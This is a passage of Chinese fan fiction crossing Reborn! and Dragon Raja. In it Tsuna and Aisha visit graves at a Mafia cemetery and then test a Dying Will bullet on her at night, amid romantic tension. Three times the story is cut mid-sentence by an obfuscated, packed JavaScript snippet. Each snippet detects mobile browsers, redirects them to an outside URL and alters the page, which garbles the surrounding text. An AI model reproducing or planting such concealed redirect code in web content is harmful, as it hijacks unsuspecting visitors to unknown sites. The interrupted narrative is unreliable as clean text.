他说论资排辈,阿尔伯特在家族中的资历仅次于爱德华多,曾经大概也是个十分威武冷酷的Mafia。可等他们认识时,他已在多年的酒精与尼古丁中被销磨干净了。 意语老师的工作来自九代首领的授意,起初他们双方都不是很情愿。于是一个胡乱地教、一个胡乱地学,就这么朝夕相处了很长时间。 “最开始我们就在这里上课。起初我不知道这儿是墓园,知道以后吓得半死。”沢田带着些微的笑意说。 即使是现在,他也笃定阿尔伯特不算个好人——邋遢、酗酒、怪脾气……总喜欢骗他说很下流的脏话、灌输一些已经过时的Mafia歪理,事后看着他反应过来抱着脑袋气急败坏的样子哈哈大笑。 可就是这么一个人,在那段最孤单迷茫的日子一直待在他身边。有时看他纠结得狠了,也会提一两嘴安慰性质的话。 虽说多半是以不怎么靠谱的形式出现——比如告诉他Ⅷ世首领Daniela当初是如何把反对她的家族高层都聚集到一栋房子里、又如何把他们连人带房子一起烧光的。拜他所赐,他对Daniela的印象由继承式上英气干练的女强人一路跑偏成了性转版的Xanxus…… “我总以为能劝他戒掉烟酒的……” 原本阿尔伯特完全浸泡在烂泥与酒精里,白天仅能清醒数个小时,时常上着课上着课就脑袋一沉陷入睡眠。他不记得是从什么时候开始,这种情况渐渐好转。 男人在他面前依然痛饮,可清醒的时间越来越长;他对彭格列历代首领的逸闻都如数家珍,最喜欢说Daniela,偶尔编排Ⅰ世。等男人死了他才反应过来,那么多的时间里,他从未提过自己的事。 艾莎沉默地聆听。她在阿尔伯特身上捕捉到某种很熟悉的东西——混血种中也有他这样的人,拎着酒瓶咬着烟,表面上嬉笑怒骂,对往事绝口不提。 “…真奇怪。明明知道他已经不在了,”沢田纲吉凝视着那块空白的墓碑,渐渐的,眼底的怀念又转化为失落,“可每次站在这里,又觉得他还活着。” 就好像那个胡子拉碴的男人随时都会从哪里蹿出来,懒洋洋地倚靠着某块墓碑,手上摇晃着小半瓶喝剩的格拉帕,用含糊不清的西西里方言朝他打招呼。 现在一切都已结束。站在雨后初晴的蔚蓝天空下,他想自己是释然了的。 可心情并不如想象中轻松。他忽觉‘释然’并不是一瞬间的事,只是到了某个节点,终于能够允许自己把那个沉重的包袱放下。 但究竟要不要放下、什么时候放下——一切仍然是未知的。接下来的路还有很远很远。 沢田不再说话。他们望着墓碑,一同陷入肃穆的沉默。 两个人挨得很近,袖子蹭着袖子;他的手下意识动了一下,但很快又牢牢贴在身侧。 又过一会儿,空气中的肃然渐渐消退。 “本来是想好好道个别的,”沢田纲吉笑了笑,“结果反而被艾莎看到了不成器的样子啊……” 手中的廉价烈酒还剩小半瓶。他摇了摇头,打算一饮而尽。但手刚举起就被握住,他愣愣地看着艾莎夺下酒瓶、直接仰头豪饮了一大口。 她的酒量他早见识过;平时大概也是什么酒都喝的人,所以并未像他那样狼狈地咳嗽。 烈酒入喉,她的脸颊染上生理性的淡淡红晕,望过来的眼波潋滟,不经意间带着种令他惊慌的妩媚。 “当初明明说的是一起来这里、一起和阿尔伯特喝最后一杯酒的。”她半是埋怨半是挑衅地说,“结果纲吉君居然想一个人全做完……小气。” 说完,艾莎又向着墓碑举了举酒瓶。动作随意,却绝不轻佻。 沢田纲吉近乎呆滞。 等到她那已被酒精润泽的嘴唇再次对准瓶口,他才反应过来,那是他刚才喝过的——那不就是间、间、间……! 他的脑中轰然一声,一瞬间好像连脑浆都沸腾起来。 瓶中液体还剩下堪堪几滴,固执地留在玻璃壁上。 “这种时候是不是应该把酒瓶摔碎之类的……?”艾莎看看瓶子,果断放弃了这个只在电影里见过的祭奠桥段。干脆是干脆、但太难收拾了。 她重新面向沢田。后者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658817|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早已停止咳嗽,但脸上的红晕却越发明显,火烧云似的一路烧到了耳根。 他暖棕色的眼睛浸染着慌乱、呼吸也乱。 “…回去么?”她疑心他是被风吹得酒劲回返。 听到她的提议,沢田纲吉张了张唇,最后却仅从喉咙里挤出一声仓促的应答。他连看都不看她一眼,就这么径直转过了身。 感谢披风遮挡——艾莎并没有看到——他同手同脚地迈开了步子。 -- 沢田一个人走在前面。 艾莎提着酒瓶,不明所以地跟着他。最开始他步履匆匆,到现在总算是想起身后还有个她似的、有意识的放慢了步子。 在经过一个拐口后,道路骤然宽敞;周边一座墓碑也没有,取而代之的是大片大片的青草地。沢田纲吉像是习惯性的朝右望了一眼,然后却突然停住。 “…艾莎能稍微等我一下么?”他向身后问道。 艾莎点了点头,看他向着草地正中快步行进。她没怎么犹豫就跟上了他。 最终,沢田纲吉在一座方正的白色墓碑前停下脚步。 说是墓碑或许不大恰当,因为这块石碑过于宽大——有两人伸开手臂那么宽、半人高——造型古朴大方,更像是纪念碑一类的东西。 它在阳光下闪烁着颗粒质感的微光,尽管看不出材质,但一种高贵庄严的气息自然而然扑面而来。其正中雕凿着彭格列的家徽,这是艾莎第一次如此近距离地观察那枚家纹,枪与贝壳、以及延伸出去的、翅膀般的海浪,每一条弯曲的弧度都栩栩如生。 石碑最下方横着一大捧雪白的欧石楠。这也是沢田刚刚跑过来的原因——也许是先前下雨的缘故,一些花枝被冲散到地上,在泥土里凌乱地散开了。 他蹲下身,仔细的将它们一一拾起放好。艾莎也跟着蹲下来,帮他一起整理碑前纷乱的花枝。 “这些花是纲吉君放的么?” “不是。”他摇了摇头,仰望着那座雪白的石碑,“墓园平常都很幽静,但偶尔会有人到这里献花……这是Primo的墓。” Primo……是彭格列Ⅰ世!艾莎微微吃了一惊,她当然记得乌鸦说过的、那位自带传奇色彩的彭格列创始者。 带着惊讶,她再度端详石碑,果然在硕大的家徽下找到了两行短短的、不起眼的文字: Giotto·Vongola (1833-1862) “可Ⅰ世后来不是移居日本了么?”她迟疑着问。 “嗯。这座墓碑是在Ⅱ世时期修建的,更多是纪念意义,应该不是Primo真正的坟墓。”沢田纲吉轻声道。他同样凝视着那两行文字。 “1862年……” 艾莎喃喃道。29岁,即使在遥远的19世纪,这也算罕见的短寿了。 有时候真讨厌历史。远渡重洋隐居日本的结局多么浪漫隐秘,可墓碑上寥寥几行字,就又把一切粗暴的盖棺定论了。 她不再说话,而是垂下眼帘,继续拾掇地上的欧石楠花。 “有关Primo的记载很少,”沢田在这时反而主动安慰道,“也许是消息传到西西里时出了什么错也说不定。” 他的面容异常平静。 他们很快整理好了墓碑。沢田带着她回到来时的路上。 离开以前,艾莎忍不住悄悄回头,最后看了一眼伫立在草地正中的白色石碑。 有一种很幽微的感觉油然而生。这种异样的震动通常出现在人们参观历史古迹、或者凝视传世的艺术品的时候。 宫殿是死物;画作是死物;墓碑也是死物。可是多么神奇,它们恰好是活着的印证——提醒着人们百余年前有那么一个人,曾经也那么真切地活过。 又起风了。欧石楠的花朵像铃铛一样微微摇晃着。 59. 第57章 分寸 【他应该离她远一点。】 这想法是在医疗部突然产生的。彼时他刚把拉尔夫的遗留问题全部处理好,一刻不停地过去看她。 她靠着床头沉沉睡着了,身体微蜷,嘴角微翘,睫毛在脸上垂下两道小小的阴影,看起来那么放松那么安宁。 他的目光在她脸上停留一刻,接着又转到她被层层包裹起来的左手,以及肩膀处若隐若现的绷带。 他应该离她远一点。 这个想法就是在这时从脑子里蹦出来的。 突如其来,无缘无故——又或者很有缘故,只是他不敢仔细去想; 好像仔细想了,冥冥中就要有什么东西尘埃落定。而那个东西是现在的他所负担不起的。 于是急促的脚步霎时停住。他默默在门口待了一会儿,没有吵醒她,然后就转身离开了。 【但只是离远一点,并不是割袍断义。】 墓园里再一次碰面时,他这么想道。 可以肯定的是,他并没有刻意看她。 她左手的伤似乎已痊愈了,不再缠着绷带; 整个人看起来有点蔫蔫的,这状态让他想起他们刚认识的时候,不知道是不是这两天又没睡好呢…… 就此打住。 他一面告诫自己,一面如往常般跟她说话。这件事倒不如他设想的那样难,他们之间仍是亲近坦荡的,唯一需要他掌握的只有那么一点分寸感。 是的,分寸感、分寸感。 …… 几个小时后,沢田纲吉虚握着手.枪,像被老师罚站的学生一样站在墙角。 身后传来窸窸窣窣的衣料摩擦声。他是完全不敢转头的,因而只能将目光妥善安置在面前某块斑驳的褐色污渍上;仿佛这个世界上再没有比这摊可疑的陈年污渍更重要的事。 考虑到死气弹撕裂外衣的效果,她提出提前脱掉衣服的意见是全然正当的;他想。 但考虑到场合以及他们之间的关系,现在这个展开又完完全全是错乱失序离奇的;他又想。 衣料相互磨蹭的声响幼猫爪子似的轻轻挠他。几秒钟,又或者有几个世纪那么长。 “纲吉君,我好啦。” 女孩轻声说。 他还是不敢转身,也说不出话,甚至呼吸困难,只能暂且将头仰高一些。 ——这是沢田纲吉在无声地质问上天:事情到底为什么会从那样演变成这样。 -- 时间回到数小时前: “艾莎的伤怎么样了?” 出了墓园以后,沢田温声询问道。 “已经没事啦。”艾莎撸开袖子,给他看自己的左手手腕。 混血种的恢复力惊人,两天过去,那道可怖的伤口就已经愈合。 原本皮开肉绽的地方只剩一道淡色的、微微凸起的印子。这么点痕迹,再过几天就会彻底消失。 可即便如此,想到他在船上生气的样子,她还是很忐忑,觉得仅靠外伤的痊愈是不足以逃脱一顿数落的。 出乎意料的是,褐发青年只是点了点头,就没有再继续深入,反而干脆地转了话题: “艾莎来找我,是有其它事么?” “喔……”她愣了愣,才老实说,“就是想问问关于死气之火的事。” “虽然每天都按照纲吉君说的认真冥想,但还是连一点点燃的迹象都没有……马上就要到一个月的期限了。既然这样,就只有用死气弹了吧?”她征询道。 沢田没有立即回答。 “…关于这件事,其实这两天我也有想过。”他垂下眼帘,“点燃死气之火的事,果然还是算了吧?” “诶?”她微微拧眉,“但寄存在那里的东西,对纲吉君不是很重要么?” 她记得他曾亲口说过类似的话。 “造访复仇者监狱和领取遗物是两件事。”沢田摇了摇头,“对于我来说,最重要的是营救骸——这是年前就计划好的,绝不会推迟;至于初代时期的指环……” 他猝然停住,先侧头看她一眼,才若无其事转了话锋: “…指环的品质与战力直接挂钩,对家族当然不能说不重要;但却不是现在的彭格列必需的。” “况且……之前没有过对混血种使用死气弹的先例。”他轻声道,“拉尔夫利用死气之火来延缓龙血对人体的侵蚀;照这样反推过来,如果贸然让体内有龙血的你点燃火焰,或许会有危险也说不定。” “所以、虽然可能还是要拜托艾莎再跟我去一趟复仇者监狱,但是不点燃死气之火也可以。” ——初代时期的指环,不回收也可以。 尽管沢田纲吉说得轻描淡写,艾莎却感到他又在做一次不小的牺牲。 她低着脑袋,越走越慢,最后干脆停了下来。 “‘对我使用死气弹的话,说不定会害我陷入危险’——这是超直感告诉纲吉君的么?”艾莎闷闷道。 他定定地与她对视了几秒,就像光从这一个问题就识破了她全部的意图一样。 “…不,这只是我个人的担忧。”沢田说,“但也是很合理的推测,不是么?目前我们唯一见到过的、身上同时混杂了龙血与死气之火的,就是在船上的那些蛇……” “呸呸呸,你才蛇形怪物呢!”艾莎顿时龇牙咧嘴,“纲吉君居然要把我跟它们相提并论么——就算被死气弹击中,我也不会当场去世或者长出尾巴来的好么——” “你知道我不是那个意思。”沢田立即温和地说。 目光相触,她的脑袋又垂了下去。 “…我明白你的意思……”艾莎轻声说,“龙血再加上死气之火,不确定的因素太多了。你觉得没必要冒风险。” “但纲吉君别忘了,复仇者监狱里的指环是我们的祖先共同寄存的。”她在‘共同’两个字上加重读音,“所以到底要不要领取,这件事不能你一个人说了算。” 她边说边偷偷觑他一眼——他的神色已微微松动了,但总体还是不赞同居多——于是便趁热打铁道: “‘死气之火’是觉悟的火焰,对不对?” 这是他授课时的原话。沢田纲吉轻轻点了点头。 “理论上来说,只要有觉悟,就能点燃火焰。”她继续强硬地复述道,“那么我可以很明确地告诉纲吉君:我已经做好觉悟了——刚遇到你的时候或许还没有、但是现在已经完全做好了!” 她没有明说自己的觉悟是什么,只是很倔很倔地望着他。 “可纲吉君居然要因为那种原因不让我点燃死气之火,是在小瞧我么?” 对面褐发青年的神情几度变幻,最终回归到一种理性的、又带着点刻意的平淡。 这种冷静克制的神态让她回想起他们刚认识的时候。 “…明白了。”他轻声说。 “死气弹的效果…总之不方便由我直接使用。”沢田顿了顿,“我会安排其他信得过的……” “不行——那样是行不通的。”艾莎打断了他。 这回轮到沢田愣住。他根本没想过她会拒绝这个提议。 “我的言灵效果是绝对防御。”她叹了口气,脚在地上蹭来蹭去,心烦意乱的样子,“纲吉君以为随随便便谁都能用子弹击中我么?” “必须得由纲吉君来动手才行——不是纲吉君的话就不行。” 在他渐趋慌乱的注目中,她轻缓而坚定地说。 -- 但事情为什么会变成这样? 大脑不受控的勾画着背后情形。他尽量不去想她,而把重点放在房间里的其他家具上。 但是没用。更糟了。因为脑海里浮现出的是往常小憩的那张单人床,以及被夜风轻轻吹起的白色纱帘。 沢田纲吉像被罚站一样全身僵硬,眼睛纠着墙角那块暗褐色的污点不放。 就算依照艾莎说的,对她使用死气弹的人必须是他,原本的情形也该比现在好得多。 比如至少要有一名可靠的女性(库洛姆或者碧洋琪)在场,而不是他们单独两个人; 比如应该在大白天,而不是像眼下这样万籁俱寂、连心跳都听得一清二楚的午夜; 再比如地点绝对是宽敞明亮的训练场,或者总部的其他任何地方都好——总之不能是他们现在待的房间。这是他办公室自带的内间,一个除了床和沙发以外什么都没有的简易休息室。 在他最忙的那段时间,每天都只在这里作简短休息。这里几乎相当于他的第二卧室——他们不能在卧室里干这种事! 身后的衣料摩擦声就像琴弦拨片那样,把他的思绪拨得乱七八糟。 也许一开始就错了。他深刻反省道。但这错是无可避免的:死气弹与手.枪都在办公室,所以他们必须先回到这里;那时隼人已经在门口等着了。 然后是第二个错:他不该误判临时多出的工作。那时就该让艾莎回去的,而不是看着她蔫蔫的样子心软,叫她到内间的休息室里先睡一会儿。 第三个错还是他的:明明已经忙到午夜了,让她继续睡就好了,为什么还要多此一举确认她的状态——她的睡眠比平常更浅,一开门就被吵醒了。 还有最后也是最关键的一个:当艾莎提出不去训练场、就在这里对她使用死气弹的时候,他不应该答应。 可为什么会答应呢? 沢田自己也不清楚。或许是因为她当时垂眸的神态,欲言又止的样子,像是有什么事还没来得及告诉他。 “纲吉君……内衣要脱么?”艾莎突然出声,声音跟话都吓了他一跳。 “不用!”他急促而简短地否定道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658818|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子下意识动了一下,但很快又扳回原位。 “喔……那我好了,你转过来吧。”她干巴巴地说,嗓音听起来也发僵。 “艾莎……?”他还是犹犹豫豫,最后很没出息的试图临阵脱逃,“果然还是算了、死气之火的事我们明天再——” “…纲吉君那么忙,这两天都没有见到,明天说不定又见不到了。”艾莎闷闷地说。他一时搞不清她究竟是在说真心话,还是已经看破了他在躲她的事。 “长痛不如短痛,我也需要一点时间来适应死气之火——所以纲吉君,转过来啦。” 说完,她走近两步,好像这样能帮他快点下定决心似的。 于是赶在她靠得更近以前,沢田纲吉心一横,倏然转过了身。 -- 房间里没有开灯。月光透过落地窗,柔和地泼洒在地毯上。 她的影子被水汪汪的月色托着,像抽了枝的树木,异常曼妙纤长。 沢田用刚才凝视墙角污渍时的专注与执着来凝视那道影子。心里歪七竖八地衡量着,不知道说话时不看她和看她哪个更失礼。 “纲吉君,”她迟疑着问,“你这样能瞄准么?” 瞄不准。当初要是让Reborn多教一点射击技巧就好了。 沢田纲吉想。他没意识到自己说不出话。 明明握着手.枪,棕眸却那么慌乱,泛着水光,耳朵也彻底红了,就好像是她在欺负他一样。 看出他的为难,艾莎没再说话,她抿了抿唇,又走近几步。 因为距离的缩短,他的视野里避无可避的出现她裸.露的脚趾,在驼色的地毯上微微蜷着,圆滚滚的非常可爱; 接着是脚踝,小腿,还泛着点粉色的膝窝……沢田纲吉赶在思想变得更失序以前目光上移:目标是一口气到达她头顶上方三寸的位置,然后牢牢固定在那里永远不下来。 然而才到中途,计划就以失败告终。 他的视线僵在女孩双手微微遮挡的地方,眼神中的慌乱与窘迫转为惊愕,又逐渐沉淀成某种更复杂的感情。 “我自己是看习惯了……”艾莎轻声嘟哝道,“是不是还挺吓人的?” 反正都已经看到了,再没什么遮掩的必要。她的手放松到腰际,方便他看得更清楚一点。 沢田纲吉没回答,只是默默上前几步。现在他们都沐浴在月光下了,他默然注视着女孩腰腹处那些纵横交错的疤痕。 数不清的疤痕。小腹处微微凹陷,上面连一小块完整的皮肤都找不到。粉嫩的新肉与淡白的老肉团团纠结,共同簇拥着一道最长最深的、隐没至腰背的狰狞印记。 大约3厘米的宽度,又在那样的位置。他怎么也想象不出她受伤时的情形——就像被什么东西拦腰切断、又因某种不可思议的力量被强行催生着愈合一样。 原本应该是肚脐的地方半开不开的黏连在一起,仿佛一只耷拉的、死气沉沉的眼睛。 “这种程度的伤,被其他人看到的话,大概很难解释吧?”艾莎干巴巴地说,“所以比起训练场,还是在这里打死气弹比较好。” 沢田没回答。她就有些局促地动了动,心里想他也许生气了……一定生气了,先前手腕上浅浅的一道都发了那么大的火呢。 她低下头,像个做错了事的孩子。 “嗯……我的自愈力算强的,只是当时…嗯,情况比较特殊,”艾莎磕磕巴巴的继续,“医生说可能消不掉了,但是也说不准……” 她的话随着他的靠近戛然而止。沢田的手指停留在那道狰狞疤痕前方一点点的位置,没有直接触碰,而是小心翼翼的隔空拂过了。 “是不是很痛?”他轻声问。连呼吸也放得很轻柔,就好像担心这样也会弄疼她一样。 那双暖棕色的眼睛那么温柔,盛着她的倒影,让她产生一种奇异的晕眩感。 ——在他面前的话,大概什么也不用伪装吧? “……嗯,超痛的。”艾莎吸吸鼻子,抱怨似的小声补充,“特别是在医院醒来以后。” 这么说着,她露出一个小小的、明亮的微笑。 “不过现在已经不痛啦。” 他垂眸望着她的笑脸。 月色下,她黑色的长发闪动着如水的光泽。有一缕略显凌乱的散落在脸边,应是刚才脱下衣物时不小心所致。 沢田纲吉鬼使神差地抬起手,帮她把那缕头发别到了耳后。 他的手指梳理似的穿过冰凉发丝;发丝又缱绻的勾缠住手指。 直到指尖传来另一种温热触感,他才恍然惊觉,自己的手已顺着耳朵轮廓,停在了她耳垂下方的凹陷处。 她没有表现出任何抵触,只是呆呆地抬头看着他,有些不知所措的样子。 他能感到她的耳垂在发烫。 60. 第58章 风吹幡动 他的体温很高。 艾莎默默地想。 沢田纲吉的手指撩开头发,若有若无地碰到她的耳朵; 被触碰的地方升腾起一股酥麻痒意,电流窜过似的,很奇怪,但并不讨厌。 他的手指沿着外耳轮廓向下。 略粗糙的指腹堪堪擦过侧颈——那种酥麻感更强烈了,手指经过的地方带起了一连串鸡皮疙瘩。 他们原本离得不远也不近,一个刚刚好的距离。然而当她抬起脸的时候,沢田恰好也微微低下了头。 这就有点太近了。除了复活节舞会上的那曲探戈,他们从未如此靠近过。 艾莎有点不知所措,她猜沢田也是同样的。 他的手指还点在她耳下,柔软小巧的耳垂被微微托起,看起来就像是她的脸被他的手微微托起一样。 但沢田似乎根本意识不到这点。他仍是看着她,脸上流露出一种鹿一样的迷惘。 而当接触到她晕乎乎的目光时,他就带着那种迷惘的神情更加低下了头,像是想把她看得更清楚一点。 暖棕色的眸光笼罩下来。月色下,沢田眼睛的颜色似乎比往常暗沉一些,让她想到浓稠欲滴的蜜糖; 轻纱拂起。她从他口鼻间嗅到淡淡的酒香。格拉帕的味道,艾莎迷迷糊糊地想,今天他们都喝了一点格拉帕的。 相似的气味在呼吸间萦绕。她下意识凑近迎合,这次几乎碰到他的鼻子。 他们离得那么近,她能感到他陡然变重的鼻息。 不知何时,她的呼吸也变得同样急促凌乱。 他的耳朵红得吓人,眼神也是——叫她既想一直被他这么看着,又有点不敢继续这个对视。 视线自然而然的向下,落到他的嘴唇上。 淡色的唇瓣,微微抿起的弧度优美又凌厉。 心里痒痒的,她忍不住拿手在他西服衣料上轻轻磨蹭,好像这样就能缓解掉几分。沢田闷哼一声,又把她拉扯得近了一点。 就在他们靠得不能更近的时候,突然有什么冰冷坚硬的东西磕到她的腰。她低叫一声,跟他一同低头去看:原来是那把装着死气弹的手.枪。 枪.托的一角正抵在她胯部,其余部分被沢田纲吉胡乱地抓在手里。 再抬头对视的时候,两个人都清明了大半。空气中仍有一点暧昧因子残留,但沢田脸上已然浮现那种想要连夜离开地球的惊恐神态。 她眨巴着眼看看他,在气氛变得真正尴尬以前,突然“扑哧”一声笑了出来。 沢田纲吉:“……” “有什么好笑的啊……”他无奈又窘迫地低声问。 艾莎顺势偏过头,将脸埋在他肩窝处,笑得两边肩膀一耸一耸。趁着这个机会,他的手也离开了她的腰,在半空中停顿一下后,虚虚护到她身后。尽管形成一个环抱的态势,却并不直接触碰到她。 “因为纲吉君刚刚的表情很好笑嘛。”她说,“感觉下一秒就会‘嗖’的一声退到墙角,结果中途因为左腿绊右手摔倒什么的。” ……才不会!而且左腿绊右手那究竟是怎样猎奇的移动姿势!?奇行种么!? 沢田纲吉忍了又忍才没把内心的os槽出口。他下意识想离她的脸远一点,于是微微侧头,没想到反而与她的头发挨得更近。 淡淡的椰香在鼻间萦绕。护在她身后的手一僵,现在沢田纲吉完全清醒过来。 当艾莎重新抬起头的时候,他立即后撤两步,恢复了恰当的距离。 “刚刚……” 他决心为方才的失态做一个无比郑重的谢罪,但很快就发现自己陷入了一个难解的悖论当中: 明明打从心底里觉得,自己的行为越界到无论她要往他身上扎几个洞都不过分的程度。但沢田纲吉偏偏无法解释刚才的行为。 也许他能从以往谈判交涉的话术中吸取经验、妥帖应对眼下的局面。 然而再度看着她时,那些堪堪酝酿好的谢罪话语又如同泡沫般在嗓子眼纷纷破裂了。 脑子里“轰”的一声。沢田纲吉又开始后悔后退的事,不该退的、他完全忘了——忘了她现在只穿着内衣,他们之间根本不存在什么恰当的距离。 眼下这个距离更糟:让他把该看的不该看的一下子全都看了。 “刚刚……?”艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658819|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莎顺着他的话道。但沢田好像根本没有听到她说话。 其实她有点想问他刚才是不是想亲她,但话到嘴边又觉得这问法很别扭。 他们又不是那样的关系,沢田也不是个随随便便的人。似乎任何逻辑都无法解释刚刚短暂又奇妙的一刻。 于是想着想着她自己也不确定起来,也许他并不是想亲她,而是有什么必须靠近的理由——至于这个理由具体是什么,她仍然想不出来。 想不出来,也不高兴去想。艾莎垂下眼帘,感到心里闷闷的。 她不大喜欢这种感觉,因此采用老办法将其强行镇压下去。 “刚刚的事就别提啦……”她讪讪说。反正从结果来看什么也没发生。 她干巴巴地建议他们继续点燃‘死气之火’的‘正事’。 听到她的提议,沢田则胡乱地点点头,自己也不知道自己在赞同什么。 其实他很没出息的松了口气,暗自庆幸她没有问些“纲吉君刚才是想亲我么?”之类的事,否则他真不知道怎么回答。 回答“是”,他们的关系还远远够不上这个层面,以后也不应当够上; ……回答“不是”,那么他就是在撒谎。 -- 黑暗中,沢田纲吉举起手.枪,缓缓对准了面前的女孩。 他不常用枪,自觉连瞄准的动作都做得生硬干涩; 即便是在墓园答应艾莎的时候,他也不大能想象自己对着她扣动扳机的样子。这毕竟是致命的武器,他总忧惧她会因此受伤。 现在就更难了。扣着扳机的手指仿佛直接连通心脏,兀自在那里突突跳动着。 同样的手指,不久前才触碰过她素白的皮肤,她发间传来好闻的香味,那双蓝眼睛不闪不避,认真地凝视着他。 现在也凝视着他。 沢田纲吉脑中一空。 手指弯曲的一刹那,他想到的不是死气之火,不是意外与伤痕;而是凌晨灰蓝的雾霭,时钟指针滴答滴答的转动,白纱拂起时他倾身靠近她,他们呼吸交错,她的眼睛在月下柔软如丝绒。 他的心像弓弦一样颤栗起来。 61. 第59章 苏醒 被死气弹击中的话,脑海里会出现自己最后悔的事。 直到子弹破空而来、射进脑门的那一刹那,艾莎才反应过来:原来之前她一直误解了这句话的意思。 原本以为“让人知道自己最后悔的事”就是死气弹的功效,可万万没想到……指的其实是‘人生走马灯’啊喂! 一声不算清脆的响动,那是子弹打穿颅骨的声音; 她能感到血液沿着脸颊轮廓滴流到下巴上的轨迹、整个人也因巨大的动能冲击而向后栽倒…… 死气弹并不是什么玩笑般的产物,而是正儿八经的实弹。 艾莎无比清晰地认知到这个事实。 她刚刚被实弹射穿了颅骨——这一次是真的要死了。 人生的前二十年如电影胶片般从身体里弹射出来,又在眼前飞速旋转,发出“咔嚓咔嚓”的滚动声。 每一帧都刻骨铭心。那是她的大脑在发出自救预警。 拉扯着她的无数双手;女人逆着光的模糊的脸;蛇行的锁链、惨白的天花板和闪着寒光的手术刀;男人漆黑的西装下摆;绿荫与指缝间漏下的阳光;隐没在树木深处的二层小楼;黑暗中缓缓睁开的黄金瞳;镂花窗边轻声哼唱的女孩,炖着银耳羹的小锅“咕嘟咕嘟”冒出的白色蒸汽;铁路,霓虹,很多人的笑脸;蛇形尸守大张的嘴与尖牙;自海底缓缓浮出的巨型白骨…… 黄昏时分的尼伯龙根,冰封的海面与倾塌的铜柱。 眼珠微微震颤。她本以为这次又要在血与骨中沉浮很久。 但是没有——那些画面飞快地闪过了,快得让人来不及伸手捉住。 取而代之的是大片大片的阳光。呼吸间的海风。蔚蓝色的天空澄明如水洗。 褐发青年自陌生街道走近,笑容清浅温和;公寓暖黄色的灯火,她呆坐在阳台,整夜整夜听着潮声;他们生疏的拥抱,他微微颤抖的身体与逐渐收紧的手臂;巨大水晶吊灯下的旋转,他无奈纵容的眼神;隐隐含怒的眼神,温暖的怀抱与低沉柔和的劝慰;月下交握的手;他站在光与暗的交界处,挺直的背与落寞的影子;船底她主动握住的手;矗立在墓碑前的背影;混乱交错的呼吸,还有他近在咫尺的暖棕色眼睛。 她看到很多很多的沢田纲吉。 看着看着,突然就感到眼球发酸。 原本是为了逃离才开始的旅程,现在却仿佛已经抵达安宁。 原来战争结束后,不知不觉又走出去这么远。 可是糟了。她又想。都已经回忆到这里了,但她好像还是没能想到任何‘后悔的事’。 不想死是肯定的。只不过也想不到沢田形容的那种、不做完就死不瞑目的‘悔恨之事’。 走马灯的间隙之间,她用涣散的余光捕捉到了现实中的沢田纲吉。 他还站在原地,一只手向前伸着,稍稍显得有点可笑。 除了担忧和慌乱,他脸上的表情甚至夹杂了丝丝缕缕的恐惧,完全不像个Mafia首领,反而让她想到落水后刚被打捞上来的、浑身湿漉漉的小狗。 ……如果就这么死掉的话,大概会给沢田留下深重的心理阴影吧? 艾莎尝试着眨动两下眼睛,黑暗在她眼底缓慢地起起伏伏着。 可她太累了,现在只想好好睡一觉。 没错、这就是她目前最后悔的一件事——根本不是什么‘没在战争中死去’这种苦大仇深的东西,而是前两天为什么没有好好睡觉呢?好好睡觉的话就不会这么累了。 但这不能全怪她,纲吉君也得负责任才行。艾莎委屈地闭上了眼睛。 ——为什么这两天连影子都看不到、他到底是不是在刻意躲着她呢? 意识彻底消失前,这是在她脑海中浮现的最后一件事情。 -- “唔……” 阳光洒在身上,暖洋洋的。艾莎蹭了蹭柔软的枕头,慢慢地睁开了眼睛。 毫无疑问,她还在沢田办公室的休息间里;看日头已是正午,上次睡得这么熟还是向他坦白黄金瞳的时候。 有关昨晚的记忆在被死气弹击中的那个瞬间戛然而止,剩下的全都模糊不清。 艾莎下意识摸了摸额头,触感光滑,别说弹孔了,连一丝残留的血迹都没有。 她又盯着自己的袖子发愣:衣服也好好穿上了,昨晚的一切好像只是一场梦而已。 就在这时,内间的门被打开了。她愣愣地望过去,与沢田纲吉目光相触。 “…艾莎醒了么?身体感觉怎么样?”他比她更快一步反应过来,只是脸上的笑容怎么看都有点尴尬与不自然。 “没什么问题……还挺好的?”艾莎不确定地活动了一下上肢。 她原以为中了死气弹后的再苏醒会更特别一点,但是没有。 眼中的世界并没有发生多少改变,睡饱觉后属于混血种的五感锐化反倒更强烈一些。 比方说现在她能轻易闻到沢田身上须后水的味道,淡淡的花草味;这种味道使她不由自主地微笑起来,她不大能想象他对着镜子刮胡子的样子。 紧接着,她的思绪又转回到了正事上:既然她醒了过来,也就是说…… “纲吉君,昨晚怎么样?”艾莎迫不及待地蹦下了床。虽然觉得八九不离十,但她还是有点紧张,“死气之火、我成功点燃了么?” “…嗯。”他轻声道。视线在接触到她裸.露脚趾的刹那间被火燎似的弹开了。 